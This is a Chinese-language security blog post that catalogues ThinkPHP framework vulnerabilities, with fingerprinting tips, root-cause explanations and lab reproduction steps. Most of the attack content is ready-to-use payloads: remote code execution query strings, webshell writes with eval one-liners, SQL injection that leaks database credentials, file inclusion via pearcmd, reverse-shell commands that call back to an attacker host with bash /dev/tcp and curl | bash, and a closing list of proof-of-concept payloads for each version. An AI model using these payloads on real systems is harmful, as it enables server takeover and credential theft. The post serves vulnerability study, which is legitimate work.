上一篇spring反响不错,今天更新thinkphp全漏洞
spring
麋鹿,公众号:麋鹿安全从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具
还是按照之前的文章结构
文章目录
框架介绍 | 何为thinkphp,在哪会遇到thinkphp |
识别spring | 如何在实战中快速分辨thinkphp框架 |
漏洞列表 | thinkphp漏洞全版本 |
漏洞环境搭建 | vulhub+vulfocus(见上一篇spring) |
漏洞复现 | 1.如何识别当前站点是否存在漏洞 |
2.哪些版本(情况)存在该漏洞 | |
3.漏洞指纹特征⭐ | |
4.如何复现 | |
5.如何实现自动化 | |
工具 | 1.指纹识别工具 |
2.综合利用工具 |
零-thinkphp的前世今生
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。
作为一个整体开发解决方案,ThinkPHP能够解决应用开发中的大多数需要,因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注业务逻辑。
总结一下:国人开发的框架,上手简单,开发成本低,搭建容易
所以,tp框架常见于一些违法网站上面
tp版本信息
文档中心 · ThinkPHP 这是tp的官方文档,包含了框架一些基本知识,一些必要的知识我会在复现过程中一一讲解,不过还是建议自己去看一下文档
一-识别tp框架(指纹)
1.1 ioc判断
/favicon.ico
1.2报错
1.3错误传参
1.4特殊指纹出现logo
/?c=4e5e5d7364f443e28fbf0d3ae744a59a
/4e5e5d7364f443e28fbf0d3ae744a59a
p3.1和3.2版本
4e5e5d7364f443e28fbf0d3ae744a59a-index.html
1.5 body特征
body里有”十年磨一剑” 或者”ThinkPHP”
1.6插件
二-漏洞列表
ThinkPHP 2.x 任意代码执行漏洞 |
ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞(5-rce) |
ThinkPHP5 SQL注入漏洞 & 敏感信息泄露 |
ThinkPHP 5.0.23 远程代码执行漏洞 |
ThinkPHP3.2.x RCE |
thinkphp lang 命令执行 |
ThinkPHP 2.x 任意代码执行漏洞
1 漏洞原理
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['\1']="\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
什么是preg_replace 函数
这个函数是个替换函数,而且支持正则,使用方式如下:
preg_replace('正则规则','替换字符','目标字符')
这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e
这个修饰符,则存在代码执行漏洞。
下面是搜索到的关于/e
的解释:
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 可执行模式,此为PHP专有参数,例如preg_replace函数。
任何使用 举例
<?php @preg_replace('/test/e','print_r("AAA");','just test');
只要在“just test”中匹配到了“test”字符,就执行中间的print_r这条函数的命令。
2 影响版本
2.x
3.0
3.复现
触发条件是php
访问/index.php?s=/index/index/name/$%7B@phpinfo()%7D
之间改成$%7Bsystem(whoami)%7D
一句话
${ @print(eval($_POST[1]))}
反弹shell
先在攻击机写一个sh文件,里面放
bash -i >& /dev/tcp/192.168.233.131/7777 0>&1
攻击机开启web服务
python -m SimpleHTTPServer 80
然后用马子去执行这个sh文件的命令
1=system(“curl http://192.168.233.131/shell.sh | bash”);
亦或者直接马子执行反弹shell命令
1=system%28%22bash+-c+'bash+-i+>%26+%2Fdev%2Ftcp%2F192.168.233.131%2F8888+0>%261'%22%29%3B
ok结束,docker-compose down下一关
对了,这里我想和小白说几句话,漏洞复现确实是一个很枯燥的过程,但是只有复现完理解完才能有可能掌握这些漏洞,才能有可能在实战中认出这个洞,必不可少的一个过程,麋鹿希望读者能静下心来,去按照我们的文章一个一个复现一边,最后自己也写一个过程当作笔记,收集一个指纹表做为自己的参考.正如麋鹿主页说所,不管是对于高考这些应试考试,还是学习技术,学习本就是一场修行,就是用来炼心的,用来克服懒惰和心猿意马的.
ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞(5-rce)
1 漏洞原理
由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。
2 影响版本
5.0.22/5.1.29
3 复现
触发地址是
/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=+url编码后的马子
对 进行编码然后拼接
http://192.168.233.131:8080/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=milu.php&vars[1][]=%3C%3Fphp%20phpinfo()%3B%20eval(%40%24_POST[%27cmd%27])%3B%20%3F%3E
访问milu.php
后面反弹shell这些和前面一样
ThinkPHP5 SQL注入漏洞 & 敏感信息泄露
1 漏洞原理
传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
这里具体讲一下漏洞产生的过程吧
漏洞附近代码如下
where('id', 'in', $ids)->select();
}
}
这里如果in可控的话,通过用户传入,那么就会造成注入,让我们来分析一下in的操作代码:
<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/W/', $bindName)) {
// 处理带非单词字符的字段名
$bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查询
if ($value instanceof Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}
代码先对$bindName 先进行了一次检测,防止了一些注入情况,但是我们看到$value是一个数组的情况下,会遍历$value,并将$k拼接进$bingName。
介绍一下PDO预编译的过程
1. prepare($SQL) 编译SQL语句
2. bindValue($param, $value) 将value绑定到param的位置上
3. execute() 执行
这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误的,返回执行的恶意语句结果
2 影响版本
ThinkPHP
3 复现
这里环境要用到80端口,记得关了之前的web环境(反弹shell时)
访问/index.php?ids[]=1&ids[]=2
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
ThinkPHP 5.0.23 远程代码执行漏洞
1 漏洞原理
其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
2 版本
ThinkPHP 5.0.x
3 复现
t&server[REQUEST_METHOD]=whoami
写shell
先pwd一下
ok知道了,就写/var/www/public/这里
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo >>/var/www/public/milu.php
如果写入失败,base64一下
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echoIDw/cGhwIEBldmFsKCRfUE9TVFsnbWlsdSddKTsgPz4= >>/var/www/public/hushell.php
蚁🗡连接就行了,密码是milu
反弹shell
开启web
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl http://192.168.233.131/shell.sh | bash
上面有个5rce,现在是5.0.23,可能有读者不懂了,麋鹿来解释一下
tp 5版本rce有两个版本
ThinkPHP 5.0-5.0.24和ThinkPHP 5.1.0-5.1.30
漏洞触发点和版本的不同,所以payload也不一样,条件也不一样
版本名 | 是否可被攻击 |
攻击条件 |
---|---|---|
5.0.0 | 否 | 无 |
5.0.1 | 否 | 无 |
5.0.2 | 否 | 无 |
5.0.3 | 否 | 无 |
5.0.4 | 否 | 无 |
5.0.5 | 否 | 无 |
5.0.6 | 否 | 无 |
5.0.7 | 否 | 无 |
5.0.8 | 是 | 无需开启debug |
5.0.9 | 是 | 无需开启debug |
5.0.10 | 是 | 无需开启debug |
5.0.11 | 是 | 无需开启debug |
5.0.12 | 是 | 无需开启debug |
5.0.13 | 是 | 需开启debug |
5.0.14 | 是 | 需开启debug |
5.0.15 | 是 | 需开启debug |
5.0.16 | 是 | 需开启debug |
5.0.17 | 是 | 需开启debug |
5.0.18 | 是 | 需开启debug |
5.0.19 | 是 | 需开启debug |
5.0.20 | 否 | 无 |
5.0.21 | 是 | 需开启debug |
5.0.22 | 是 | 需开启debug |
5.0.23 | 是 | 需开启debug |
5.0.13~5.0.19默认情况下config中的app_debug配置项为false,复现的时候需要开启这个
总结一下
5.1.x :
?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x :
?s=index/thinkconfig/get&name=database.username # 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg # 包含任意文件
?s=index/thinkConfig/load&file=../../t.php # 包含任意.php文件
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
5.0.13
http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP
ThinkPHP3.2.x RCE
1.漏洞介绍
ThinkPHP3.2远程代码执行漏洞,该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。
2.版本
3.2.x
3.复现
先创建一个日志,并写入phpinfo
index.php?m=–>=phpinfo();?>
然后去包含这个文件,文件名就是今天的日期
index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_10_19.log
不同版本日志位置不一样,看我总结
THINKPHP3.2 结构:
ApplicationRuntimeLogsHome日期.log
THINKPHP3.1结构:
RuntimeLogsHome日期.log
日志存储结构是 :项目名RuntimeLogsHome年份_月份_日期.log
thinkphp lang 命令执行
1 漏洞原理
在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件。
虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件
访问路径诶:/public/index.php
2 影响版本
6.0.1
5.0.0
5.1.0
3 前置知识
1.HTML之lang属性:在Html全局属性列表中,对lang属性的描述为(Defines the language used in the element – 定义元素中使用的语言),顾名思义,lang属性的作用就是用来定义元素中使用的语言。
2.PEAR:PEAR也就是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库。
3.Pearcmd:pearcmd.php是pear工具调用的功能文件,pear是管理php的扩展管理工具, 可以理解为php的命令行工具。
4.config-create:创建文件,该方法需接收两个参数,第一个参数是写入文件的内容,第二个参数是写入文件的路径
4 复现
访问public/index.php可以看到明显的tp特征
get访问
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/=@eval($_REQUEST['milu']);?>+/var/www/html/milu.php
解释一下payload
就是利用目录遍历到pearcmd,然后通过 pearcmd 文件包含这个trick去执行创建/var/www/html/milu.php文件并写入一句话木马,密码为milu
然后访问milu.php就行了
一些指纹工具和网站
TideFinger 潮汐指纹 TideFinger 潮汐指纹 (tidesec.com)
https://github.com/anx0ing/thinkphp_scan
https://github.com/sukabuliet/ThinkphpRCE
https://github.com/bewhale/thinkphp_gui_tools
https://github.com/Lotus6/ThinkphpGUI(无2版本检测功能)
最后总结个各版本的poc
2.x
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['\1']="\2";', implode($depr,$paths));
3.2.3
index.php?m=-->=phpinfo();?>
index.php?m=Home&c=Index&a=index&value[_filename]=.ApplicationRuntimeLogsCommon日期.log
5.0.x
?s=index/thinkconfig/get&name=database.username // 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg // 包含任意文件
?s=index/thinkConfig/load&file=../../t.php // 包含任意.php文件
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
call_user_func 不大行..
?s=index/thinkapp/invokefunction?function=call_user_func&vars[0]=system&vars[1]=whoami
?s=index/thinkapp/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami
?s=index/thinkView/display&content=phpinfo();?>
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=2
s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=...
5.0.7
aa=file_put_contents('test.php'%2C'%3C%3Fphp+phpinfo()%3B')&_method=__construct&method=POST&filter[]=assert
5.0 – 5.0.22
index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]
[]=-1%20and%20it%27ll%20execute%20the%20phpinfo
5.0.23
ThinkPHP POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&.=ls
5.1.x
?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=
s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=
s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami
?s=index/thinkrequest/input?data[]=-1&filter=phpinfo
?s=index/thinkapp/invokefunction?function=call_user_func&vars[0]=system&vars[1]=whoami
?s=index|thinkapp/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1
?s=index/thinkrequest/input?data[]=-1&filter=phpinfo
?s=index/thinkapp/invokefunction&function=call_user_func&vars[0]=md5&vars[1]=123456
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/thinkView/display&content=
?s=index/thinkView/display&content=
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
s=index/thinkapp/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami
?s=index/thinkapp/invokefunction&function=call_user_func&vars[0]=system&vars[1]=powershell%20ls
chdir
希望各位读者看完我们的文章以后自己去实践一下,只有学到脑子里的东西才是自己的,如果遇到困难,可以加本人微信(i_still_be_milu)与麋鹿师傅一起探讨,炼心之路,就在脚下,我们一起成长。
同时欢迎各位同仁关注麋鹿安全,我们的文章会第一时间发布在公众号平台,如果不想错过我们新鲜出炉的好文,那就请扫码关注我们的公众号!(附上本人微信,欢迎各位同仁加我微信,和我探讨安全,同时欢迎同仁们的不吝指正)